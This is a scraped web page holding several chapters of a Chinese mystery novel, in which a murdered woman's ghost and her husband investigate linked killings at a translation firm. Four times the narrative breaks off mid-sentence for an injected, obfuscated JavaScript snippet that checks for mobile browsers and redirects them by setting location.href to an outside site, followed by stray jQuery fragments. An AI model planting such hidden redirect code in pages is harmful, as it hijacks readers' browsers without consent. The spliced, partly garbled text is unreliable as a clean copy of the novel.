琛子本名韩琛,梁淮的发小。当年她和梁淮结婚,韩琛还是他们的伴郎。端木茵记得韩琛,高高瘦瘦的男生,留着长且造型独特的额发,以至于她怀疑韩琛能否看清站在他面前人的长相。
电话接通,那边韩琛倦懒地“喂”了声。
发小之间不需要什么开场白,梁淮直接说了论坛帖子恢复的事。韩琛也不是多话的人,前后不到十句话他们便结束了通话。
“他说需要点时间,可能要到晚点才会给我消息。”梁淮挂了电话,顺手点了某个八卦帖子右上角的×。
“梁淮,是于森的车,他回来了。”
梁淮抬头,马路对面,一辆黑色奥迪缓慢开进地下车库。
端木茵看了眼时间,13:16分。
在姚晓晨的追悼会上,她没看见于森。当然,可能是她没注意。
当时她所有的心思都在能否从姚晓晨父母那了解点姚晓晨死前的信息,确实没心思注意别的有的没的。
端木茵站起身来,对梁淮说:“我上去了,你在这里等我。”
“当心点。”
“知道。”
***
作为社长办公室,于森的办公室装修得太过简约,没有真皮大沙发,没有全景落地窗,整体以黑灰白为基调,简单中又透着些冷淡。
端木茵弯着腰细看着书架上的书和摆设。她身后,于森正靠在椅背上在打视频。
大约是一上午都耽搁了,回公司后,于森叫来了人事部的丁维和资源部的曹谦文,关照丁维招人顶替姚晓晨的职位,又问曹谦文,在招新人前,能否兼顾一下姚晓晨的工作。曹谦文虽不十分满意这个提议,但终究还是点头说“应该的”。
丁维和曹谦文离开后,于森又跟项目部讨论了一下接下来的几个大项目。
这一下午,于森忙得够呛。
期间,端木茵把社长办公室从里到外彻底搜了个遍,末了不忘用余光注意着于森的一举一动。
说实话,她没看出来于森有什么不对劲。
没有杀人后的亢奋,没有怕被暴露的忐忑,什么异常的表现都没有。
她也没看出,对于姚晓晨的死于森哪怕有一丁点的愧疚。
什么都没有。
端木茵心里突然生出了点难受。
下楼的时候,她没坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431155|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
电梯,而是选择了走楼梯。
站在五楼和六楼间的转角平台上,她心情复杂地叹了口气。
她就是在这里咽气的。
云石地砖上,那滩因没擦干净血渍而留下的痕迹比两天前更淡了,淡到她几乎看不出来了。
她蹲下,指尖扫过那滩淡色。
于森最符合凶手侧写。
他沉稳冷静,做事严谨;
他是槐塘村案发生时,少数几个不在公司的人之一;
他知道六楼监控坏了,但不知道她走路不会看手机;
他是姚晓晨爱慕的人,是姚晓晨会维护的人;
他有机会知道姚晓晨对花生过敏;
也是有机会接触到胶囊瓶的人。
她突然有了个更大胆的推断。
七月半那晚,离开办公室的时候,她回头看了眼,她记得很清楚,于森办公室的灯还亮着。
社长办公室在走廊的尽头,电梯间和楼梯间在走廊的另一端,所以于森要从办公室到电梯间或楼梯间,势必要经过翻译部办公室前的走廊。
但她不记得那晚有看到过于森从翻译部办公室前经过。
于森是在她离开后才离开办公室的。
她一直坚信自己的死亡时间是20点22分前,即,八楼的小祝第一次下楼的时间,而不是视频点赞的20点27分前。
小祝是和案件没有任何直接或间接牵连的人,比起其他人,她的证词最可信。
但她现在开始怀疑20点22分前也不是她真实的死亡时间了。
她应该更相信自己的感觉。
姚晓晨和她打招呼前她刚看过时间,那时候是19点57分。姚晓晨离开后,她很快完成了音频翻译。她自我感觉这段时间不会超过10分钟,那就意味着她离开办公室的时候不会晚于20:10分。
20点16分,底楼的监控拍到于森下楼。
时间上正好符合。
唯一说不通的是20点27分的视频点赞。
但既然已经怀疑姚晓晨在目睹了她被推下楼后选择保持缄默,为什么不能再大胆点假设。
点赞视频的人不是推她下楼的凶手,小祝第一次下楼看到的黑影也不是凶手,而是在凶手离开后,从NANOSPEEDY手袋里找出手机,给视频点赞的姚晓晨。
23. 第二十三章 八月二十三日
冰凉的感觉蔓延到全身。
在医院遇到姚晓晨的时候,梁淮说姚晓晨“自责”。
那时候她虽觉得姚晓晨神情不对劲,却也没觉得那种不对劲来自于自责。
人有时候确实该多相信相信自己的直觉。
之所以没觉得姚晓晨自责,是因为她不认为姚晓晨对不起自己。
但如果姚晓晨真的点赞了视频替凶手做不在场证明呢?
她的自责就变得合情合理了。
端木茵觉得自己要窒息了。她快速离开大楼,跑进便利店时已有些跌跌撞撞。
“阿茵?”梁淮稳住她的肩膀。
“梁淮,是姚晓晨点赞的视频。”她说得气喘吁吁。
梁淮摁住端木的肩膀,让她先坐下。她看上去不太好,不自觉地发抖。
“你先深呼吸。”
端木茵照做,深呼吸了两次,窒息的感觉才稍微缓和了些。她抓住梁淮的小臂,说:“梁淮,于森的不在场证明是假的,视频是姚晓晨点赞的。”
梁淮在她身旁坐下,问:“于森他……承认了是他杀的人?”
端木茵摇头:“不是。他心态太稳了,什么都没表现出来,他一个人在办公室的时,也没露出一点破绽。”她咽了口唾沫,“这是我自己推断出来的。梁淮,我的死亡时间不会晚于20:12分。是我先入为主相信了小祝说的看到黑影的时间,以为她看到的黑影就是凶手。黑影不是凶手,是姚晓晨。姚晓晨她留在现场帮凶手做掩护。”
梁淮垂着眼,食指快速在触摸板上划圈,消化着端木茵的话,半晌才开口:“这样的话,很多问题倒是能解释清楚了。我打个电话给老吴,看看他怎么说。”
拿出手机,梁淮拨了老吴的号。那边一直占线,他只好作罢,刚挂断,就有条信息进来,一看,是琛子发信息过来说要他查的资料他都查到了。
梁淮点开发过来的PDF文件,挑了挑眉,回了一句。
【梁淮:文件够大。】
【琛子:可能有你感兴趣的。】
【梁淮:辛苦,下回请你吃饭。】
【琛子:再说。】
“是琛子,他发资料过来了。是回去再看,还是在这里看?”梁淮问,端木茵的状态让他担忧,他想她做点什么能分散点注意力。
“就这里看吧,我想知道一切因为什么而起。”
***
面前的资料还保留着当年的日期。端木茵留意了一下,是十二年前的四月。
帖子只有一个,讨论话题围绕着13级初一六班的学生黎宥跳楼事件。帖子里附有大量现场照片,围观的人很多,其中不乏初中模样的学生。
端木茵有微微的不适感。她有种透过照片在看自己尸体的奇怪感觉。
虽打了马赛克,但还是能看到露在白布外的小腿。鞋子大概在坠落过程中脱落了,可怜的孩子光着脚,脚腕上有不太明显的紫色痕迹。
【好眼熟,是烂尾楼那边吗?】
【是的,十六层呢。】
【天,这不得粉身碎骨了!】
【我去看了,就不跟你们形容现场了,不然昨天的晚饭都要吐出来了。】
【那么吓人?他是不是考试考砸了,想不通了?】
【不是,和考试没关系,他成绩挺好的,班里前三,是别的缘故。】
【这事迟早的,他现在才跳,算是能忍的了。】
【楼上兄弟你展开说说。】
【算了,我怕被盯上。】
【什么盯上?被谁盯上?】
【不敢说,怕下一个就是我了。】
【别说了,帖子要被封了。】
……
爬完了所有楼。
梁淮顺手点了文件右上角的×,看向端木茵。
刚才他真的吓了一跳。她是个很能控制自己情绪的人,但偶尔也有控制不住的时候。
他理解她为什么那么激动。虽说只是个推断,但理由终究让人难以接受。
她似乎已经恢复过来了,神色趋于平静。
“你怎么看?”梁淮试探地问。
“校园霸*凌。”端木茵趴在吧台上,歪头看着梁淮,“可能是语言霸*凌,小团体排挤,但我倾向于是肢体霸*凌,孩子脚踝上有圈紫色痕迹,不会是无来由的。不管怎么样,初一学生,入学不到一年,能让一个成绩优秀的学生决定以如此惨烈的方式结束自己生命,应该是很严重的霸*凌,无论它是什么形式的霸*凌。”
梁淮偏头看她,问:“你有被霸凌过吗?”
端木茵愣了一瞬,笑道:“初一的时候被小团体排挤孤立过。”
她说得太轻松,没有任何委屈,却更引人心疼。
“是排挤孤立吗?”他问她,听起来更像在问自己。
“嗯,就是现在人说的隐形霸*凌。造谣你,抹黑你。排挤你的人甚至可能不是表面意义上的差生。他们成绩优秀,可能是班干部,老师眼里的好学生,尖子生。”谈起过往,端木茵下意识把头闷在臂间。
“你以前都没说过。”梁淮那股子调调,倒好像先委屈上了。
“也没什么好说的啊,都过去了。后来高中的时候就好多了,毕竟那个时候大家的心思都在考清北上,不会整那么多幺蛾子。”
“被排挤后,你跟夏老师说了吗?”
端木茵直起身,耸了耸肩,回道:“一开始没说,心里想着,不过是被某些幼稚鬼给排挤了,其实也影响不到我。”
“怎么会不影响呢?霸*凌的后遗症是多少年都不会褪去的。”梁淮声音悠长和缓,让人莫名动容,“没人应该被排挤孤立,也没人应该默默承受。”
端木茵低下头,思忖了一会儿才接着说:“你说得没错。可很多时候,事情没那么简单。不是不想被排挤孤立就会不被排挤孤立。那个排挤我的小团体,他们中有老师信任的班干部,有乖巧的女学生。我那个时候又有点叛逆,脾气比现在火爆多了,你说,若是说他们排挤我,有人会信吗?”
“那后来呢?依你的性子,你不会让别人得逞。”
端木茵大笑:“梁淮,我发现你还是很了解我的。”
“你才知道?”
端木茵冷下脸,淡淡道:“说实话,一开始,我没有放心上。若不是他们一而再,再而三惹毛了我,我才不会去反击,各管各的就好。”
梁淮:“所以,发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436207|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生了什么让你改变了想法?”
回忆起当年的事,端木茵有点感慨:“起因是一次英语竞赛。一个班只有一个名额,老师把名额给我了。名额公布后,一个和我竞争得很厉害的同学哭了。
“然后她的同桌问我‘你难道不会觉得羞愧吗?为什么不能把名额让给同学。’
“我就奇怪了,老师也是按成绩做决定的,我成绩比她好,名额给我不是很正常,我为什么要觉得羞愧?难道因为她会哭所以名额就应该给她?”
梁淮手抵在唇边,问:“你反击那个同桌了吗?”
“那当然。我对他说,从今往后有任何名额,请他一定把名额让给其他人,那样他那颗善良的心才不会觉得愧疚。”
梁淮笑了:“然后这句话捅了马蜂窝子了。”
端木茵点头:“从那之后,班里的同学开始逐渐孤立我,一开始不是很明显,就像本来还在窃窃私语,见我进了教室他们就不说话了,但会互相之间挤眉弄眼,诸如此类的。我没太在意。要竞赛了,每天要做的习题比之前还要多。
“直到竞赛后,小柔来找我,说外面在传我抢了别人去竞赛的机会是因为我父母是大学教授,有后门可以走。她问我这到底是怎么回事?那时候我才知道我被人乱传谣言了。
“我光明正大得来的机会,为什么要被人泼脏水。我问小柔她是从哪得来的消息,然后我找到了那个带头挑唆别人给我造谣的同学,也就是那个同我竞争失败的女生,然后,”端木茵顿了顿,深吸了口气,“我狠狠地揪住她的马尾辫,要她跟我去见班主任。”
梁淮挑眉。但细想,竟觉得发生在阿茵身上是多合情合理的走向:“你揪住她的马尾辫。”
端木茵点头:“是的,当着所有同学的面。”
“把班主任引来了吧?”
端木茵眉眼带着促狭,回道:“那当然。不引来,这戏不白演了么?毕竟本质上,我不是个喜欢出风头的人。”
梁淮又笑:“也是。后来呢?”
“后来班主任把我和那个同学叫去她办公室了。”
梁淮握拳抵在唇边轻咳了两声。
端木茵抿唇浅笑,道:“在办公室,她恶人先告状。班主任问我是否真的欺负了同学,我回答,在我父母来之前,我一个字都不会说。
“我站在办公室,一直等夏老师来。期间,那个她哭哭啼啼,没少把自己塑造成一个彻彻底底的受害者。听着她颠倒黑白,我心里其实挺没底的,还有点害怕,怕班主任万一相信她不信我怎么办,也怕夏老师生气,总之,等夏老师的时候,心情一直忐忑着。”
梁淮:“夏老师又是什么态度?”
“夏老师到学校后,班主任跟她说了事情经过。她听完后,问我是否真的揪了同学的马尾辫。我回答是的。然后她又问我为什么要揪同学的马尾辫?
“有夏老师在场,我觉得自己有了靠山。没有说班主任不好的意思,你没见过那个同学,她是那种大眼睛,有点婴儿肥,看上去软fufu,笑起来很甜的可爱型女生,一哭,眼泪能蓄在眼眶里半天要掉不掉的,让人看得心疼得不行。所有的老师和同学都喜欢她,我当时其实很怕班主任信她不信我。”
24. 第二十四章 八月二十三日
“夏老师到场后,我把那个同学在外面造的谣都说出来了。我还记得班主任听完后脸上的表情有多精彩,我稍微放下心。
“那个同学大呼我冤枉她。我在心里翻了个白眼,她难道以为自己做得密不透风?要真做得密不透风,谣言能传到小柔班?
“我问过小柔是哪听来的谣传,她说是学生群里在说。我问小柔借了她的企鹅群,果然看到那个同学在群里各种暗戳戳针对我。她本来就长得可爱,人缘也好,朋友也多,又会拿捏人的心态,话说一半留一半,很多同学吃了瓜,却又不知道她指的是谁,但越是不知道,越是想知道。正好群里议论得热火朝天的时候,她的朋友‘好心’透露了我的信息,然后就有了后来的事。
“回家的路上,夏老师对我说,我能自己解决问题固然很好,但不要总想着什么事都一个人承担,有问题要及时告诉她和端木老师,父母不只是个称呼,也是我的后盾。
“你看,梁淮,我妈她平时对我很严格,但其实她既不偏听偏信,也不盲从盲信。”端木茵嘿嘿一笑,眼中却有了泪花。她低下头,好一会儿才缓缓抬头,“最后,班主任撤了那个同学班委的职务,她的三好学生推荐表也给压下来了,班主任还让她当着全班同学的面给我道歉,当然,我也给她道歉了,毕竟我揪了她的马尾辫。”
一口气说了那么多,突然停下,瞬间陷入沉寂。
梁淮眉头微敛,凑过去,在端木茵还没反应过来他要做什么的时候抱住了她。
“梁淮!”端木茵惊呼一声。
他没放手,反而把她抱得更紧了:“这是给初一的端木茵的拥抱。”
***
回去的时候,梁淮说老吴的电话一直占线,他想索性顺路去一趟老吴那。
端木茵原想说,那么晚了,老吴指不定已经下班,别白跑一趟了。但回头又一想,做刑警的,有案子在身,哪会时间到了就下班的道理。
这么一想,她只嗫嚅了一下,便没再说话。
到了刑警队一问,老吴果然还没下班。接待梁淮的警官说老吴在开会,让梁淮稍微等一下。
听得老吴在开会,端木茵心里萌生出了去旁听一下老吴会议的念头。
梁淮说过老吴他们不能对外透露有关案件的信息,她也不是不懂这个道理。但话又说回来,她又不是无关紧要的人,她可是案件的受害者,端木茵觉得自己有立场旁听老吴的调查。
她朝梁淮靠近了些,轻声说:“我去去就回。”
“你去哪?”
端木茵溜得太快,梁淮咬着牙说出的话她是半个字也没来得及听。
也不是第一回来刑警队,端木茵驾轻就熟地跟在那位姓赵的女警官后面进了会议室。
会议被打断,五六位警官齐刷刷地看向赵警官,除了老吴,端木茵只认出之前见过的那位寸头警官。
赵诗年把物证袋和检验报告交给老吴,说:“吴队,检验过了,瓶子是空的,但在瓶子内底和盖口检测到微量的研磨得很细的花生粉。除此之外,瓶子上提取到多枚被害者姚晓晨的指纹,以及几枚其他人的指纹,分别属于他们公司项目专员禾川,大楼里保洁阿姨的指纹还有多位未知人员的指纹。保洁阿姨的指纹是新鲜的,禾川的和未知人员的不是。”
老吴接过赵诗年递过来的物证袋,说了声谢谢,接着继续之前的会议。他举了举手中的物证袋,端木茵才看清物证袋里装的正是她一直在找的胶囊瓶。她眉尾一抬,把精神提到十二分。
“胶囊瓶是我们昨天下午从保洁阿姨那搜查到的。据她表示,瓶子不是她的,她是在清理六楼男洗手间的时候,在洗手池底下的废纸篓里发现的这个胶囊瓶。她承认,她有捡可回收物品的习惯,所以收拾废纸篓的时候,她会扒拉废纸篓里的垃圾看看是否有可回收物品,而这个胶囊瓶正好属于可回收物品。”
那位寸头警官往椅背上一靠:“随便将胶囊瓶扔在洗手间的废纸篓里是很冒失的做法,不符合我们之前做的凶手侧写。应该是我们突然展开搜查嫌疑人急了,他/她还没处理掉那个胶囊瓶,如果被搜到,他/她很难解释为什么胶囊瓶在他/她那。”
“问题是胶囊瓶为什么在六楼男洗手间的废纸篓里。是嫌疑人本就是男的,去洗手间的时候顺手丢弃的?还是正好相反,为了掩人耳目?”
赵诗年找了个位子坐下,翻了翻面前的报告,说:“瓶子上提取到五枚禾川的指纹,均为右手手指指纹。我们调查过禾川了,因为工作上她和被害者姚晓晨接触颇多,两人关系较好。她承认曾拿过被害者放在桌上的葡萄籽胶囊瓶。她的说法是,想看看葡萄籽胶囊是什么牌子的。据禾川表示,这大概是半个月前的事,但没有其他同事能证明。”
端木茵猫着腰落座,听着赵诗年做报告。
“至于保洁阿姨。据保洁阿姨表示,她从六楼男洗手间废纸篓里拿出胶囊瓶时戴着胶皮手套,之后回到储物间,她取出胶囊瓶的时候没戴手套。我们从胶囊瓶上提取到两枚她的指纹,分别是右手大拇指和食指的指纹,符合捡被污染物时不愿多触碰的习惯。另外,我们也提取到少量胶皮物质。
“此外,在胶囊瓶中检测到的花生粉和徐姐在822案被害者舌背上提取到的花生粉可做同一认定。”
赵诗年放下报告,看了眼老吴。
老吴轻咳了声,补充道:“鉴于822案被害者姚晓晨在遇害前曾约818一案被害者端木茵的丈夫梁淮见面,且根据梁淮的证词,在本月20日前,他从未见过姚晓晨,而他8月21日去医院接被害者端木茵的母亲出院时遇见姚晓晨,当时姚晓晨曾欲言又止,结合我们后来查到的姚晓晨在案发当天没有离开公司,以及之后发生的事,我们有合理理由认为姚晓晨就818端木一案的细节可能有所隐瞒,她极有可能目睹了端木茵被杀害而被灭口。目前这三起案件,即812案,818案以及822案已串并,接下来将并案调查。
“这三起案件的主案件是812案。该案的被害者被发现时尸体已腐败,因此我们无法提取他的指纹做对比。我们提取了他的DNA样本并输入了DNA库里,但得到的反馈结果是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442518|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无符合样本。幸好我们有了小卖部婆婆提供的监控录像,监控画面虽不清晰,但结合了附近的其他监控我们确认了被害者身份。”
老吴敲了敲他背后的白板,继续道,“死者曹鑫,男,二十六岁,本市人,无业。曹鑫的父亲还活着的时候是跑运输的,八年前疲劳驾驶事故身亡,之后母亲再婚。我们找到他母亲问情况,但没有很大的收获。曹鑫的母亲表示,她再婚后,曹鑫和继父关系不融洽,一个人搬出去住,她大概已有五、六年没见过曹鑫了。
“我们问她曹鑫是不是有仇恨他的人。曹鑫的母亲说没有,但我们认为她的证词不可信。她回答这个问题的时候明显很心虚。
“曹鑫是在本市三中的西区分校念的初中。”说到这里,老吴停顿了一下,加重了语气,“为什么专门提到这个三中呢,因为812案的案发现场槐塘村属于三中西区分校学区,且曹鑫在三中念到初三下半学期时突然转学,他母亲给的解释是搬家了,所以换了学校读。这个理由我们觉得很牵强,初三下半学期,马上要中考了,一般不会选择在这种时候转学,所以我们有理由怀疑这段时间里是不是发生了什么重大事件导致即使还差一个月就要中考了,家长还是选择搬家转学。”
说到这里,端木茵想起了来之前看的三中论坛被删的帖子,心里算着,死者现二十六岁,那他初三的时候差不多是十二年前的事了,老吴也说了,还差一个月就要中考,帖子的日期正好是四月份,而她记得,中考一般是五月下旬六月上旬,时间上完全符合。看来她和梁淮没查错方向。
这边老吴继续说道:“再来谈谈818案和822案。这两起案件的发生限定了嫌疑人是翻译公司内部人员。812案发生在城西槐塘村,槐塘村距离翻译公司一个小时的车程,来回需两个小时,当天不在公司的人包括孟野,于森,姚晓晨和翻译部的张洁。孟野是因为老家父亲出车祸了,家里打电话让他回去,他8月11日回老家,8月13号才回本市。
“案发当日,于森和同公司的姚晓晨和张洁在隔壁省嘉平市参加行业大会。虽说是外省,但距离本市单程车程大约一个半小时到两个小时。于森订的是套房,张洁和姚晓晨订的是标房。根据他们三个人的证词,案发当天,他们是临近中午才抵达酒店的,午饭后,他们在套房里为后面两天的大会做准备。根据证词,12日当日,用过午餐后,他们一直在忙工作,三人均没有出过酒店。
“我们查了酒店的监控,12日,大概12点50分左右,张洁和姚晓晨回酒店了,十分钟后于森也回酒店了,一直到晚饭时间,三个人都没有出过房间。
“他们三人是坐于森的车去的嘉平市,一辆黑色奥迪A6L,12日,车一整个下午都停在酒店旁的空地上。我们也查了当天从嘉平市回本市的飞机航班,铁路航班以及长途汽车等信息,无上述三人的购票记录。
“并案后,我们重点查了该公司里和三中有关的人。”老吴停顿了一下,看着众人,接着说,“然后我们查到822案被害者姚晓晨也是三中西区分校的学生。”
25. 第二十五章
端木茵抬了抬眉。
这倒出乎她的意料。
和槐塘村案被害者有关的人竟然是姚晓晨。
这怎么可能呢。
她已经认定了于森是凶手,那么和曹鑫有关的人不应该也是于森吗?
难道她之前的推断是错的吗?
姚晓晨被杀难道不是因为目睹了她被凶手推下楼去而被凶手灭口?
这个假设被推翻的话,于森是杀害她的凶手这一结论便不成立。
端木茵觉得脑子里乱成一团。
到底哪个环节出错了,明明所有的细节都解释得通,怎么突然变成这样。
她伸手揉了揉自己的太阳穴。
这边老吴继续道:“被害者姚晓晨是三中西区分校13级学生,曹鑫是11级学生,两人不同年级,不同班,仅目前线索来看,他们之间并没有交集点,但不排除只是巧合两个被害者都曾是三中学生,和案件本身并没有关系。
“我们接下来的主要调查方向是,一、再次确认孟野8月12日的不在场证明,小陈,你去一趟孟野的老家,多问几个人,邻居、小区保安。”
陈警官做了个“OK”的手势。
老吴继续道:“二、调查十二年前下半学期三中西区分校是否发生过重大事件或能影响一个初三学生转学的任何性质的事件,这个我和小胡去。”老吴看了眼那位寸头警官,寸头警官点了点头。
“三、重新询问于森和张洁,确认他们在812案中的不在场证明是否可靠,这个交给小赵去办。”
赵诗年直起身,声音洪亮:“是,吴队。”
“那辛苦大家了,散会。”
***
出了会议室,没看到梁淮。
桌子上放了杯喝了一半水的纸杯。端木茵探头看了眼,纸杯已经不冒热气了。
她想了想,往外走去。
刑警大队的院子里,梁淮站在那,望着大门口。
端木茵走过去,顺着梁淮的视线看过去:“在看什么?”
“嗯?”梁淮惊了一下,转过身面对端木茵,“你什么时候出来的?”
“就刚刚。你还没回答我呢?怎么不在里面等?外面多热。”
太阳已经下山了,水泥地的热气往上冒,反而比站太阳底下还热。
“我出来透透气,还在想你的推断。”梁淮回道。
有车开进来,端木茵走回台阶上:“想得怎么样了?”
梁淮跟着她走上台阶,把手插在兜里,靠在墙边:“你说他心态很稳,一点看不出作案后常有的高涨情绪,我就在想,要么他很会掩饰,要么他……”
端木茵接口道:“要么他根本不是凶手?”
梁淮转头看向她。
端木茵站在那,望着大门口,面上是他从未见过的迷茫。
“是……老吴他们有新的线索?”他试探地问。来的时候阿茵还信心满满,才旁听了一会儿老吴他们开会,怎么就不坚定了呢。
端木茵阖了阖眼,头靠在梁淮的肩膀上,“有点累了,让我靠靠。”
“是不是不舒服?”
“就是累了,这里累。”端木茵戳了戳自己的左胸腔。
梁淮淡淡地嗯了声,默契地倾斜了一下肩膀。
“是那个被倒挂在桥上的人。”端木茵又把自己扯远的话题给扳回来。
“他怎么了?”
“老吴说,他和姚晓晨都是三中的。”
“哦,是吗?”梁淮反问。
这倒出乎他的意料。
端木茵点了点头,把在会议上听到的叙述了一遍。
“你现在是不坚定自己的推断了?”梁淮开始明白阿茵说的心累是指什么。本来想找老吴说于森的事,现在看来不必了,没有确凿证据前,还是算了。
端木茵又点头。
梁淮伸手,将被微风吹拂到她脸颊上发丝拨开,轻声道:“倒也不必对自己没信心,不是还有线索没查到么,我们也不用操之过急。”
端木茵想了想,觉得是这么个理,便不再去纠结这个问题。她直起身,说:“老吴不是安排了三个任务吗?我也想跟着去看看。”。
“他们分成三组,你怎么跟?”
端木茵撅嘴:“我也没说全跟。”
“那你想跟哪组?”
“嗯……”
三中当年发生的事应该就是帖子里提到的跳*楼事件,他们倒没必要再浪费时间去打听了。
除去三中的事,接下来就是孟野,还有于森和张经理的不在场证明了。
说实话,虽然于森看似和槐塘村案被害者曹鑫牵扯不上关系,且根据警方调查结果,于森的行动轨线没有任何可疑之处,但相比孟野,她依旧觉得于森更可疑。
“你还是想调查于森?”梁淮到底了解她,她一皱眉头,他就知道她还是不罢休。
端木茵点头承认。
梁淮摆起了架子:“让我想想。”
“别想了,我们去吧?”她说话带了点鼻音,又拖长了音,听上去像在撒娇。
梁淮低垂着眉眼,沉默不语。
没得到答复端木茵有点心急。她下了台阶,在梁淮面前站定,刚想跟他分析他们跟着赵警官去的好处,却发现站在台阶下,她莫名比他又矮了十来公分。
他本来就高,一米八六的个子,她再矮上十来公分,气势上就输了他大半截。
这可不行。
端木茵憋着气,又默默站回去,踮着脚,大声道:“梁淮,你不说话我就当你答应了。”
“回去吧。”梁淮两手插兜,下了台阶。
“梁淮!”
梁淮转身,走回她面前。
她站在台阶上,几乎和他一样高,大概是憋着气的缘故,她的腮帮子鼓鼓的,眼眶微红,这让他想起她跟他闹情绪时的小表情。
生动真实,就如她活着的时候。
刚刚坐在那里等她的时候他就在想,找到凶手后,阿茵会消失吗?
梁柔说他性子古板,说他总是冷着脸,说话省着字眼,抠抠搜搜;说他衣着品味也无趣得很,永远的衬衫西装西裤三件套;说他这样的人没有女孩子会喜欢。
其实,他挺赞同小柔的说法。
他既不会甜言蜜语,也不懂唯美浪漫,实在不讨女孩子喜欢。
后来,在漆黑的影厅里,背景音乐震得哐哐响。他皱紧了眉头,想出去清醒一下,却发现小柔的那个朋友正不着痕迹地把手肘撑在座椅把手上,手掌托住下颚,离得太近,即便是在黑暗的影厅里,他都能看清她微翘的鼻尖。
“梁淮,你怎么那么难追?你不动心我很没面子的。”她压低了声音说,眼睛还盯着大屏幕。
另一边坐着梁柔,正捏起一颗爆米花往嘴里送,完全没察觉到他们之间的小插曲。
他学她,也把手肘撑在座椅把手上,手掌托住下颚,他们的脑袋几乎靠在一起。
“什么时候的事?”
她颇委屈地回道:“两个星期了,不对,是十五天了,比两个星期还多一天。”
他哑然失笑。
散场时,小柔挽着阿茵的胳臂叽叽喳喳讨论着剧情。他走在她们身后,偷偷握住了阿茵的手。
后来,他们结婚了。
再后来,阿茵提了离婚,他没答应。
搬出去只是想让两个人都冷静下来。
再再后来传来了她遇害的消息。
他很难形容当时的心情,就好像天一下子阴沉了。
在她的葬礼上,越过人群,他看到她了。
活着的她。
他以为自己幻视了。
直到葬礼结束,回到老公房,关了门,她用她那清脆好听的声音对他说“梁淮,你看得到我,是吧?”,那一刻,他才有了点真实感。
每晚躺在床上,明明疲惫不堪,可他睡不着。
他一直不敢去面对那个问题——找出凶手后,阿茵会消失吗?
凶手总归会落网,阿茵也终究要离开。
他应该是不想阿茵带着遗憾离开的。
梁淮轻叹一口气,朝端木茵伸出手:“走吧,明早别起晚了。”
***
会议室里,赵诗年架好录音录像设备,随便拉了把椅子坐下。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451958|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
端木茵坐在她旁边,对面坐着张洁。
这个位子她能看清张经理的表情,也方便她偷看赵诗年的笔记。
张洁五十多岁,还差几年就要退休了。端木茵知道他身体不太好,上个月做了次手术,术后一直请假,没想到后来去外省开会,他竟然在出差的名单上。
倒不是她嫉妒张经理能去参加大会,反正以她的资历本来也轮不到她去。只是张经理才做过手术,术后身体恢复得又不好,做老板的是不是都不能共情牛马啊?
张洁明显很紧张,弓着身子目视前方,端木茵倒是少见他那么紧张。
“警官,之前不是问过话了么,怎么还要问?”
“你不用紧张,只是补充几个问题。我们可以开始了吗?”赵诗年问。
张洁点点头。
“请再叙述一遍本月12日的行程。”
张洁双手紧握,放在大腿上,看了眼录像设备,低头回想:“本月12日,嗯……就是我们去外省参加大会那天吧。我记得我们是8点左右出发的,坐的是社长的车。本来10点前能到酒店的,但导航导错了路,我们绕了很大一个圈子,到酒店的时候12点都过了,幸好社长准备了早点,我们路上吃了点,也没太饿。”
赵诗年一面听张洁叙述,一面记下导航导错路的事。
端木茵一面捏着自己的耳垂一面想,一定是第一次做笔录的时候张经理没说导航的事。
张洁接着说,语调没有刚才那么紧张了:“午饭是在隔壁的牛肉面店里吃的。吃完午饭,社长说要买点东西,他把他的房卡给我们,让我们先回酒店。
“大概十来分钟后社长就回来了。他是去买咖啡了。幸好有那杯咖啡,不然一下午真够难熬的。”
赵诗年:“你们社长他留下来和你们一起工作吗?”
“那倒没有。他回卧室去了,我和姚晓晨留在套间的客厅里。”
“他关卧室的门了吗?”
“关了。社长不太喜欢工作的时候有人打扰他。”
“好的,你接着说。”
张洁低头思忖了下才回道:“之后我们就在忙大会的准备工作,没发生什么特别值得注意的事。”
赵诗年停下笔,抬头问:“期间有人出去过吗?”
